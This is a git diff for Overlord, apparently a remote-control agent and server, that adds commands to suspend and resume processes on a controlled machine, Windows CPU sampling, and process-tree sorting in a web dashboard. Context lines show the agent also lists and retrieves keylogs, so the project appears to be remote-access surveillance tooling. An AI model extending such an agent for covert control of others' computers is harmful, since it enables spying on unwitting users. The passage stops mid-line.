diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index fea9727..c3a016e 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in pid = int32(p) } return HandleProcessKill(ctx, env, cmdID, pid) + case "process_suspend": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + suspendPid := int32(0) + if p, ok := payload["pid"].(float64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(uint64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(int64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(int); ok { + suspendPid = int32(p) + } + return HandleProcessSuspend(ctx, env, cmdID, suspendPid) + case "process_resume": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + resumePid := int32(0) + if p, ok := payload["pid"].(float64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(uint64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(int64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(int); ok { + resumePid = int32(p) + } + return HandleProcessResume(ctx, env, cmdID, resumePid) case "keylog_list": return HandleKeylogList(ctx, env, cmdID) case "keylog_retrieve": diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go index 0f283bc..9abb38a 100644 --- a/Overlord-Client/cmd/agent/handlers/processes.go +++ b/Overlord-Client/cmd/agent/handlers/processes.go @@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid } return wire.WriteMsg(ctx, env.Conn, result) } + +func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { + log.Printf("process_suspend: %d", pid) + + err := suspendProcess(pid) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { + log.Printf("process_resume: %d", pid) + + err := resumeProcess(pid) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go index caca6d1..e61ce97 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_unix.go +++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go @@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) { func killProcess(pid int32) error { return syscall.Kill(int(pid), syscall.SIGKILL) } + +func suspendProcess(pid int32) error { + return syscall.Kill(int(pid), syscall.SIGSTOP) +} + +func resumeProcess(pid int32) error { + return syscall.Kill(int(pid), syscall.SIGCONT) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go index ba37bf3..1386f55 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_windows.go +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -6,8 +6,11 @@ package handlers import ( "fmt" "os" + "runtime" "strings" + "sync" "syscall" + "time" "unsafe" "overlord-client/cmd/agent/wire" @@ -18,10 +21,22 @@ import ( var ( modKernel32 = windows.NewLazySystemDLL("kernel32.dll") modPsapi = windows.NewLazySystemDLL("psapi.dll") + modNtdll = windows.NewLazySystemDLL("ntdll.dll") procEnumProcesses = modPsapi.NewProc("EnumProcesses") procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") procOpenProcess = modKernel32.NewProc("OpenProcess") procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") + procGetProcessTimes = modKernel32.NewProc("GetProcessTimes") +) + +type cpuSample struct { + cpuTime100ns uint64 + sampledAt time.Time +} + +var ( + cpuSamplesMu sync.Mutex + cpuSamples = make(map[int32]cpuSample) ) type PROCESS_MEMORY_COUNTERS struct { @@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct { func listProcesses() ([]wire.ProcessInfo, error) { selfPID := int32(os.Getpid()) + numCPU := runtime.NumCPU() + if numCPU < 1 { + numCPU = 1 + } var pids [4096]uint32 var bytesReturned uint32 @@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) { memory = uint64(memCounters.WorkingSetSize) } + cpu := 0.0 + var creation, exit, kernel, user windows.Filetime + ret, _, _ = procGetProcessTimes.Call( + handle, + uintptr(unsafe.Pointer(&creation)), + uintptr(unsafe.Pointer(&exit)), + uintptr(unsafe.Pointer(&kernel)), + uintptr(unsafe.Pointer(&user)), + ) + if ret != 0 { + cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) + + (uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime)) + now := time.Now() + cpuSamplesMu.Lock() + if prev, ok := cpuSamples[pid]; ok { + wallDelta := now.Sub(prev.sampledAt).Seconds() + if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns { + cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7 + cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0 + if cpu < 0 { + cpu = 0 + } else if cpu > 100 { + cpu = 100 + } + } + } + cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now} + cpuSamplesMu.Unlock() + } + var pbi windows.PROCESS_BASIC_INFORMATION ppid := int32(0) err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil) @@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) { PID: pid, PPID: ppid, Name: name, - CPU: 0.0, + CPU: cpu, Memory: memory, Username: username, Type: procType, @@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) { }) } + cpuSamplesMu.Lock() + live := make(map[int32]struct{}, len(processes)) + for _, p := range processes { + live[p.PID] = struct{}{} + } + for pid := range cpuSamples { + if _, ok := live[pid]; !ok { + delete(cpuSamples, pid) + } + } + cpuSamplesMu.Unlock() + return processes, nil } @@ -175,3 +236,33 @@ func killProcess(pid int32) error { return windows.TerminateProcess(handle, 1) } + +func suspendProcess(pid int32) error { + procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess") + handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid)) + if err != nil { + return err + } + defer windows.CloseHandle(handle) + + ret, _, _ := procNtSuspendProcess.Call(uintptr(handle)) + if ret != 0 { + return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret) + } + return nil +} + +func resumeProcess(pid int32) error { + procNtResumeProcess := modNtdll.NewProc("NtResumeProcess") + handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid)) + if err != nil { + return err + } + defer windows.CloseHandle(handle) + + ret, _, _ := procNtResumeProcess.Call(uintptr(handle)) + if ret != 0 { + return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret) + } + return nil +} diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js index 115186b..fc188f8 100644 --- a/Overlord-Server/public/assets/processes.js +++ b/Overlord-Server/public/assets/processes.js @@ -8,6 +8,7 @@ let processMap = new Map(); let processTree = []; let collapsedPids = new Set(); let selectedPid = null; +let rowsByPid = new Map(); let sortField = "cpu"; let sortDirection = "desc"; let searchTerm = ""; @@ -155,54 +156,54 @@ function buildProcessTree() { processMap.set(proc.pid, { ...proc, children: [] }); }); + const isShellParent = (proc) => + proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe"; + const roots = []; processMap.forEach((proc) => { - if (proc.ppid && processMap.has(proc.ppid)) { - processMap.get(proc.ppid).children.push(proc); + const parent = proc.ppid ? processMap.get(proc.ppid) : null; + if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) { + parent.children.push(proc); } else { roots.push(proc); } }); + function computeAggregates(proc) { + let cpuTotal = proc.cpu || 0; + let memTotal = Number(proc.memory || 0); + for (const child of proc.children) { + const [childCpu, childMem] = computeAggregates(child); + cpuTotal += childCpu; + memTotal += childMem; + } + proc.aggregatedCpu = Math.min(cpuTotal, 100); + proc.aggregatedMemory = memTotal; + return [cpuTotal, memTotal]; + } + roots.forEach(computeAggregates); + + const sortValue = (proc) => { + if (sortField === "cpu") return proc.aggregatedCpu; + if (sortField === "memory") return proc.aggregatedMemory; + if (sortField === "name") return proc.name.toLowerCase(); + return proc[sortField]; + }; + const cmp = (a, b) => { + const aVal = sortValue(a); + const bVal = sortValue(b); + if (sortDirection === "asc") return aVal > bVal ? 1 : -1; + return aVal < bVal ? 1 : -1; + }; + function sortChildren(proc) { if (proc.children.length > 0) { - proc.children.sort((a, b) => { - let aVal = a[sortField]; - let bVal = b[sortField]; - - if (sortField === "name") { - aVal = aVal.toLowerCase(); - bVal = bVal.toLowerCase(); - } - - if (sortDirection === "asc") { - return aVal > bVal ? 1 : -1; - } else { - return aVal < bVal ? 1 : -1; - } - }); - - proc.children.forEach((child) => sortChildren(child)); + proc.children.sort(cmp); + proc.children.forEach(sortChildren); } } - - roots.forEach((proc) => sortChildren(proc)); - - roots.sort((a, b) => { - let aVal = a[sortField]; - let bVal = b[sortField]; - - if (sortField === "name") { - aVal = aVal.toLowerCase(); - bVal = bVal.toLowerCase(); - } - - if (sortDirection === "asc") { - return aVal > bVal ? 1 : -1; - } else { - return aVal < bVal ? 1 : -1; - } - }); + roots.forEach(sortChildren); + roots.sort(cmp); processTree = roots; } @@ -236,45 +237,79 @@ function renderProcesses() { if (filtered.length === 0) { processListEl.innerHTML = '